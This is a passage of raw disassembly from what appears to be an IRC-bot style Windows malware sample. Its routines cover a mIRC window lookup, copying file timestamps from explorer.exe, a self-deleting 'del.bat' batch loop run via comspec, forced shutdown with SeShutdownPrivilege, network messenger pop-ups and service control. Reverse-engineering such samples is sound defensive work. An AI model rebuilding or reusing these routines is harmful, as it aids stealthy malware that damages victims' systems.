		jmp	short loc_418526
; ---------------------------------------------------------------------------


loc_4184B3:				; CODE XREF: sub_41847D+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_4184D5


loc_4184BF:				; CODE XREF: sub_41847D+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_4184CC
		cmp	dl, 0Dh
		jnz	short loc_4184D0


loc_4184CC:				; CODE XREF: sub_41847D+48j
		and	byte ptr [ecx+esi], 0


loc_4184D0:				; CODE XREF: sub_41847D+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_4184BF


loc_4184D5:				; CODE XREF: sub_41847D+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418506
		lea	edi, [ebp+var_7CC]


loc_4184E2:				; CODE XREF: sub_41847D+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418501
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418501
		cmp	ebx, 1F4h
		jge	short loc_418506
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418501:				; CODE XREF: sub_41847D+69j
					; sub_41847D+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_4184E2


loc_418506:				; CODE XREF: sub_41847D+5Dj
					; sub_41847D+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418524
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41CAB0
		add	esp, 0Ch


loc_418524:				; CODE XREF: sub_41847D+8Ej
		mov	eax, ebx


loc_418526:				; CODE XREF: sub_41847D+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_41847D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41852A	proc near		; CODE XREF: sub_418584+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418563
		push	ebx
		mov	ebx, edi


loc_418547:				; CODE XREF: sub_41852A+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418566
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418547
		pop	ebx


loc_418563:				; CODE XREF: sub_41852A+18j
		pop	edi
		pop	esi
		retn
sub_41852A	endp


; =============== S U B	R O U T	I N E =======================================



sub_418566	proc near		; CODE XREF: sub_41852A+25p
					; sub_418584+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41DEEC
		cmp	al, 61h
		pop	ecx
		jl	short loc_418581
		cmp	al, 7Ah
		jg	short loc_418581
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418581:				; CODE XREF: sub_418566+Ej
					; sub_418566+12j
		xor	eax, eax
		retn
sub_418566	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418584	proc near		; CODE XREF: sub_415DCF+10p
					; ___:00415EA1p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41C2A0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B960
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41B960
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41852A
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4185C2:				; CODE XREF: sub_418584+B6j
		test	esi, esi
		jle	short loc_418640
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DEEC
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41DEEC
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_418638


loc_4185E8:				; CODE XREF: sub_418584+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418566
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_418609
		mov	eax, ecx


loc_418609:				; CODE XREF: sub_418584+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41863C
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41DEEC
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41DEEC
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4185E8


loc_418638:				; CODE XREF: sub_418584+62j
		dec	edi
		dec	esi
		jmp	short loc_4185C2
; ---------------------------------------------------------------------------


loc_41863C:				; CODE XREF: sub_418584+8Aj
		xor	eax, eax
		jmp	short loc_418645
; ---------------------------------------------------------------------------


loc_418640:				; CODE XREF: sub_418584+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418645:				; CODE XREF: sub_418584+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418584	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41864A	proc near		; CODE XREF: sub_401AC7+66FDp
					; sub_401AC7+7700p

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26807F9h
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27F0000h
		lea	eax, [ebp+var_100]


loc_418683:				; CODE XREF: sub_41864A+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_41868F
		cmp	cl, 9
		jnz	short loc_418692


loc_41868F:				; CODE XREF: sub_41864A+3Ej
		inc	eax
		jmp	short loc_418683
; ---------------------------------------------------------------------------


loc_418692:				; CODE XREF: sub_41864A+43j
					; sub_41864A+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4186AC
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418692
		cmp	cl, 21h
		jl	short loc_418692


loc_4186AC:				; CODE XREF: sub_41864A+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4D8ABC
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41C100
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41864A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4186D4	proc near		; CODE XREF: sub_401AC7+245Ap
		push	esi
		push	0
		call	dword_4C92D4
		test	eax, eax
		jz	short loc_41870B
		push	1
		call	dword_4C92F4
		mov	esi, eax
		test	esi, esi
		jz	short loc_41870B
		push	edi
		push	esi
		nop
		call	near ptr 28005BAh
		push	esi
		mov	edi, eax
		nop
		call	near ptr 2800000h
		call	dword_4C9358
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41870B:				; CODE XREF: sub_4186D4+Bj
					; sub_4186D4+19j
		xor	eax, eax
		pop	esi
		retn
sub_4186D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41870F	proc near		; CODE XREF: sub_401AC7+74B5p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4C9310
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41878B
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 2810213h
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 2810000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41C006
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4C9360
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4C9360
		push	ebx
		call	near ptr 2800ABCh
		nop
		push	edi
		call	near ptr 266053Bh
		nop
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41878D
; ---------------------------------------------------------------------------


loc_41878B:				; CODE XREF: sub_41870F+16j
		xor	eax, eax


loc_41878D:				; CODE XREF: sub_41870F+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41870F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418791	proc near		; CODE XREF: ___:00401430p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	dword_4C93C0
		test	eax, eax
		jz	short loc_418830
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, dword_427100
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_418830
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 2820000h
		nop
		push	ebx
		mov	ebx, dword_427078
		call	ebx
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_418830
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		nop
		call	near ptr 28107FFh
		push	esi
		call	ebx


loc_418830:				; CODE XREF: sub_418791+2Aj
					; sub_418791+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418791	endp


; =============== S U B	R O U T	I N E =======================================



sub_418835	proc near		; CODE XREF: sub_401AC7+1675p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_419B3F
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	dword_4C9244
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_418835	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418857	proc near		; CODE XREF: sub_401AC7+26F7p
					; ___:00416BC6p

var_764		= byte ptr -764h
var_364		= byte ptr -364h
var_260		= byte ptr -260h
var_15C		= byte ptr -15Ch
var_58		= dword	ptr -58h
var_4C		= dword	ptr -4Ch
var_2C		= dword	ptr -2Ch
var_28		= word ptr -28h
var_14		= byte ptr -14h
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	dword_42908C, esi
		push	edi
		jz	short loc_41887B
		cmp	dword_4C93D4, esi
		jnz	short loc_41887B
		push	esi
		call	sub_401000
		pop	ecx


loc_41887B:				; CODE XREF: sub_418857+13j
					; sub_418857+1Bj
		call	sub_40B576
		lea	eax, [ebp+var_764]
		push	eax
		push	400h
		call	near ptr 26A0000h
		nop
		lea	eax, [ebp+var_764]
		push	eax
		lea	eax, [ebp+var_260]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		lea	eax, [ebp+var_260]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	near ptr 27107F7h
		nop
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_4189DB
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41C006
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	esi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	sub_41B960
		pop	ecx
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		push	edi
		nop
		call	near ptr 2700000h
		push	edi
		nop
		call	near ptr 266053Bh
		push	10h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41BD10
		push	44h
		lea	eax, [ebp+var_58]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41BD10
		add	esp, 18h
		mov	[ebp+var_58], edi
		mov	edi, 104h
		lea	eax, [ebp+var_15C]
		push	edi
		push	eax
		push	esi
		mov	[ebp+var_4C], offset byte_43B4B8
		mov	[ebp+var_2C], 1
		mov	[ebp+var_28], si
		nop
		call	near ptr 2690000h
		push	eax
		nop
		call	near ptr 2670000h
		lea	eax, [ebp+var_15C]
		push	eax
		nop
		call	near ptr 2680DCEh
		cmp	eax, 0FFFFFFFFh
		jz	short loc_418983
		lea	eax, [ebp+var_15C]
		push	80h
		push	eax
		call	near ptr 2680CAEh
		nop


loc_418983:				; CODE XREF: sub_418857+118j
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_260]
		push	eax
		lea	eax, [ebp+var_764]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	eax
		call	sub_41C006
		add	esp, 10h
		lea	eax, [ebp+var_364]
		push	edi
		push	eax
		lea	eax, [ebp+var_764]
		push	eax
		call	near ptr 2830000h
		nop
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		push	esi
		push	esi
		push	4008h
		push	1
		push	esi
		lea	eax, [ebp+var_364]
		push	esi
		push	eax
		push	esi
		call	near ptr 26607E0h
		nop


loc_4189DB:				; CODE XREF: sub_418857+72j
		pop	edi
		pop	esi
		leave
		retn
sub_418857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4189DF	proc near		; CODE XREF: sub_401AC7+7139p

var_294		= byte ptr -294h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 294h
		push	edi
		xor	edi, edi
		push	94h
		lea	eax, [ebp+var_94]
		push	edi
		push	eax
		call	sub_41BD10
		add	esp, 0Ch
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		call	near ptr 26D05ADh
		nop
		cmp	[ebp+var_84], 2
		jnz	short loc_418A75
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		call	dword_4C9284
		push	edi
		push	eax
		call	dword_4C9294
		test	eax, eax
		jz	short loc_418A67
		push	[ebp+arg_10]
		push	offset dword_438D24


loc_418A40:				; CODE XREF: sub_4189DF+94j
		lea	eax, [ebp+var_294]
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 20h
		jmp	short loc_418A9F
; ---------------------------------------------------------------------------


loc_418A67:				; CODE XREF: sub_4189DF+57j
		call	near ptr 26807F9h
		nop
		push	eax
		push	offset unk_438CFC
		jmp	short loc_418A40
; ---------------------------------------------------------------------------


loc_418A75:				; CODE XREF: sub_4189DF+3Fj
		lea	eax, [ebp+var_294]
		push	offset unk_438CCC
		push	eax
		call	sub_41C006
		push	edi
		lea	eax, [ebp+var_294]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 1Ch


loc_418A9F:				; CODE XREF: sub_4189DF+86j
		pop	edi
		leave
		retn
sub_4189DF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418AA2	proc near		; CODE XREF: sub_401AC7+556Cp

var_1C0		= byte ptr -1C0h
var_15C		= byte ptr -15Ch
var_F8		= byte ptr -0F8h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1C0h
		lea	eax, [ebp+var_94]
		mov	[ebp+var_94], 94h
		push	eax
		nop
		call	near ptr 26D05ADh
		cmp	[ebp+var_90], 4
		jnz	short loc_418AF8
		cmp	[ebp+var_8C], 0
		jnz	short loc_418AE1
		push	1
		pop	eax
		cmp	[ebp+var_84], eax
		jnz	short loc_418AF8
		leave
		retn
; ---------------------------------------------------------------------------


loc_418AE1:				; CODE XREF: sub_418AA2+30j
		cmp	[ebp+var_8C], 0Ah
		jz	short loc_418AF3
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_418AF8


loc_418AF3:				; CODE XREF: sub_418AA2+46j
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_418AF8:				; CODE XREF: sub_418AA2+27j
					; sub_418AA2+3Bj ...
		push	esi
		push	edi
		push	offset aNetapi32_dll ; "netapi32.dll"
		nop
		call	near ptr 26B0000h
		mov	esi, eax
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	esi
		call	near ptr 26B03B1h
		nop
		push	32h
		mov	edi, eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1C0]
		push	eax
		call	sub_41DFD4
		push	32h
		lea	eax, [ebp+var_15C]
		push	[ebp+arg_4]
		push	eax
		call	sub_41DFD4
		push	32h
		lea	eax, [ebp+var_F8]
		push	[ebp+arg_8]
		push	eax
		call	sub_41DFD4
		lea	eax, [ebp+var_F8]
		push	eax
		call	sub_41DFB7
		shl	eax, 1
		push	eax
		lea	eax, [ebp+var_F8]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_1C0]
		push	eax
		push	0
		call	edi
		add	esp, 3Ch
		mov	edi, eax
		push	esi
		nop
		call	near ptr 27A0953h
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_418AA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418B82	proc near		; CODE XREF: sub_40111D+F7p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		nop
		call	near ptr 2690861h
		push	eax
		call	sub_41C058
		pop	ecx
		call	sub_41C062
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		fild	[ebp+var_4]
		sub	eax, esi
		mov	[ebp+arg_4], eax
		fimul	[ebp+arg_4]
		fmul	dbl_4276F8
		call	sub_41CF04
		sub	esi, eax
		mov	eax, esi
		pop	esi
		leave
		retn
sub_418B82	endp


; =============== S U B	R O U T	I N E =======================================



sub_418BBF	proc near		; CODE XREF: sub_401AC7:loc_405F8Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		test	edi, edi
		jz	short loc_418C24
		lea	esi, [eax+eax*2]
		push	0
		shl	esi, 2
		push	0
		push	dword_438D48[esi]
		push	edi
		push	eax
		call	sub_418C46
		add	esp, 14h
		test	eax, eax
		jnz	short loc_418C07
		push	edi
		push	off_438D44[esi]
		mov	esi, offset dword_4D9380
		push	offset unk_438E58
		push	esi
		call	sub_41C006
		add	esp, 10h
		jmp	short loc_418C41
; ---------------------------------------------------------------------------


loc_418C07:				; CODE XREF: sub_418BBF+2Aj
		push	eax
		call	sub_418CE8
		push	eax
		push	edi
		mov	esi, offset dword_4D9380
		push	offset unk_438E2C
		push	esi
		call	sub_41C006
		add	esp, 14h
		jmp	short loc_418C41
; ---------------------------------------------------------------------------


loc_418C24:				; CODE XREF: sub_418BBF+Cj
		lea	eax, [eax+eax*2]
		mov	esi, offset dword_4D9380
		push	off_438D40[eax*4]
		push	offset unk_438E08
		push	esi
		call	sub_41C006
		add	esp, 0Ch


loc_418C41:				; CODE XREF: sub_418BBF+46j
					; sub_418BBF+63j
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_418BBF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418C46	proc near		; CODE XREF: sub_418BBF+20p

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	edi
		xor	ebx, ebx
		push	0F003Fh
		push	ebx
		push	ebx
		call	dword_4C92F8
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_418C6D
		call	near ptr 26807F9h
		nop
		mov	ebx, eax
		jmp	short loc_418CE2
; ---------------------------------------------------------------------------


loc_418C6D:				; CODE XREF: sub_418C46+1Bj
		push	esi
		push	0F01FFh
		push	[ebp+arg_4]
		push	edi
		call	dword_4C91E0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_418C8D
		nop
		call	near ptr 26807F9h
		mov	ebx, eax
		jmp	short loc_418CDA
; ---------------------------------------------------------------------------


loc_418C8D:				; CODE XREF: sub_418C46+3Bj
		mov	eax, [ebp+arg_0]
		cmp	eax, 1
		jz	short loc_418CC0
		cmp	eax, 3
		jz	short loc_418CB1
		jle	short loc_418CD3
		cmp	eax, 6
		jg	short loc_418CD3
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+arg_8]
		push	esi
		call	dword_4C924C
		jmp	short loc_418CC7
; ---------------------------------------------------------------------------


loc_418CB1:				; CODE XREF: sub_418C46+52j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	esi
		call	dword_4C91E8
		jmp	short loc_418CC7
; ---------------------------------------------------------------------------


loc_418CC0:				; CODE XREF: sub_418C46+4Dj
		push	esi
		call	dword_4C9250


loc_418CC7:				; CODE XREF: sub_418C46+69j
					; sub_418C46+78j
		test	eax, eax
		jnz	short loc_418CD3
		nop
		call	near ptr 26807F9h
		mov	ebx, eax


loc_418CD3:				; CODE XREF: sub_418C46+54j
					; sub_418C46+59j ...
		push	esi
		call	dword_4C91FC


loc_418CDA:				; CODE XREF: sub_418C46+45j
		push	edi
		call	dword_4C91FC
		pop	esi


loc_418CE2:				; CODE XREF: sub_418C46+25j
		mov	eax, ebx
		pop	edi
		pop	ebx
		leave
		retn
sub_418C46	endp


; =============== S U B	R O U T	I N E =======================================



sub_418CE8	proc near		; CODE XREF: sub_418BBF+49p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, 420h
		cmp	eax, ecx
		ja	loc_418D9D
		jz	loc_418D96
		add	ecx, 0FFFFFFFBh
		cmp	eax, ecx
		ja	short loc_418D60
		jz	short loc_418D56
		mov	ecx, eax
		sub	ecx, 3
		jz	short loc_418D4C
		dec	ecx
		dec	ecx
		jz	short loc_418D42
		dec	ecx
		jz	short loc_418D38
		sub	ecx, 51h
		jz	short loc_418D2E
		sub	ecx, 24h
		jnz	loc_418E13	; default
					; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
		push	offset aTheSpecifiedSe ; "The specified	service	name is	invalid."
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D2E:				; CODE XREF: sub_418CE8+31j
		push	offset aTheRequestedCo ; "The requested	control	code is	undefined"...
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D38:				; CODE XREF: sub_418CE8+2Cj
		push	offset aTheHandleIsInv ; "The handle is	invalid."
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D42:				; CODE XREF: sub_418CE8+29j
		push	offset aTheHandleDoesN ; "The handle does not have the required	a"...
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D4C:				; CODE XREF: sub_418CE8+25j
		push	offset aTheServiceBina ; "The service binary file could	not be fo"...
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D56:				; CODE XREF: sub_418CE8+1Ej
		push	offset aTheServiceCann ; "The service cannot be	stopped	because	o"...
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D60:				; CODE XREF: sub_418CE8+1Cj
		mov	ecx, eax
		sub	ecx, 41Ch
		jz	short loc_418D8F
		dec	ecx
		jz	short loc_418D88
		dec	ecx
		jz	short loc_418D81
		dec	ecx
		jnz	loc_418E13	; default
					; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
		push	offset aTheDatabaseIsL ; "The database is locked."
		jmp	loc_418E05
; ---------------------------------------------------------------------------


loc_418D81:				; CODE XREF: sub_418CE8+86j
		push	offset aAThreadCouldNo ; "A thread could not be	created	for the	s"...
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418D88:				; CODE XREF: sub_418CE8+83j
		push	offset aTheProcessForT ; "The process for the service was started"...
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418D8F:				; CODE XREF: sub_418CE8+80j
		push	offset aTheRequested_0 ; "The requested	control	code is	not valid"...
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418D96:				; CODE XREF: sub_418CE8+11j
		push	offset aAnInstanceOfTh ; "An instance of the service is	already	r"...
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418D9D:				; CODE XREF: sub_418CE8+Bj
		mov	ecx, 45Bh
		cmp	eax, ecx
		ja	short loc_418E13 ; default
					; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
		jz	short loc_418E00
		lea	ecx, [eax-422h]
		cmp	ecx, 11h	; switch 18 cases
		ja	short loc_418E13 ; default
					; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
		movzx	ecx, byte_418E54[ecx]
		jmp	off_418E2C[ecx*4] ; switch jump


loc_418DC1:				; DATA XREF: ___:off_418E2Co
		push	offset aTheSpecifiedDa ; jumptable 00418DBA case 7
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DC8:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceDepe ; jumptable 00418DBA case 17
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DCF:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceDe_0 ; jumptable 00418DBA case 10
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DD6:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceHasB ; jumptable 00418DBA case 0
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DDD:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheSpecified_0 ; jumptable 00418DBA case 2
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DE4:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceCoul ; jumptable 00418DBA case 11
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DEB:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceHa_0 ; jumptable 00418DBA case 14
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DF2:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheRequested_1 ; jumptable 00418DBA case 3
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418DF9:				; CODE XREF: sub_418CE8+D2j
					; DATA XREF: ___:off_418E2Co
		push	offset aTheServiceHasN ; jumptable 00418DBA case 4
		jmp	short loc_418E05
; ---------------------------------------------------------------------------


loc_418E00:				; CODE XREF: sub_418CE8+BEj
		push	offset aTheSystemIsShu ; "The system is	shutting down."


loc_418E05:				; CODE XREF: sub_418CE8+41j
					; sub_418CE8+4Bj ...
		push	offset dword_4D8CC0
		call	sub_41C006
		pop	ecx
		pop	ecx
		jmp	short loc_418E26
; ---------------------------------------------------------------------------


loc_418E13:				; CODE XREF: sub_418CE8+36j
					; sub_418CE8+89j ...
		push	eax		; default
					; jumptable 00418DBA cases 1,5,6,8,9,12,13,15,16
		push	offset aAnUnknownError ; "An unknown error occurred: <%ld>"
		push	offset dword_4D8CC0
		call	sub_41C006
		add	esp, 0Ch


loc_418E26:				; CODE XREF: sub_418CE8+129j
		mov	eax, offset dword_4D8CC0
		retn
sub_418CE8	endp

; ---------------------------------------------------------------------------
off_418E2C	dd offset loc_418DD6	; DATA XREF: sub_418CE8+D2r
		dd offset loc_418DDD	; jump table for switch	statement
		dd offset loc_418DF2
		dd offset loc_418DF9
		dd offset loc_418DC1
		dd offset loc_418DCF
		dd offset loc_418DE4
		dd offset loc_418DEB
		dd offset loc_418DC8
		dd offset loc_418E13
